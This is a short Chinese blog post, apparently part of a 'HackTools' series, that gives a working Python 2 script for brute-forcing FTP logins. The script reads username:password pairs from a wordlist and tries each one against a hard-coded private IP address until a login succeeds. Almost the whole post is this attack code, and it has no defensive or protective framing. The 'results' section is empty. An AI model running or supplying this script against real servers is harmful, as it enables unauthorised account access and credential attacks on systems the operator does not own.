HackTools————8、暴力破解FTP登入選項
阿新 • • 發佈:2019-02-02
思路主要還是使用FTP使用者名稱與密碼字典對FTP進行登入的破解
具體的程式碼如下:
#encoding:utf-8 import ftplib def brutelogin(hostname,passwdFile): pF=open(passwdFile,'r') for line in pF.readlines(): userName=line.split(':')[0] passWord=line.split(':')[1].strip('\r').strip('\n') print "[+] Trying:"+userName+"/"+passWord try: ftp=ftplib.FTP(hostname) ftp.login(userName,passWord) print '\n[*]'+str(hostname)+'FTP login Succeeded:'+userName+'/'+passWord ftp.quit() return (userName,passWord) except Exception,e: pass print '\n[-] Could not brute force FTP credentials.' return (None,None) host='192.168.11.138' passWdFile='userpass.txt' brutelogin(host,passWdFile)
執行結果:
這個仍然有美中不足,有待改進!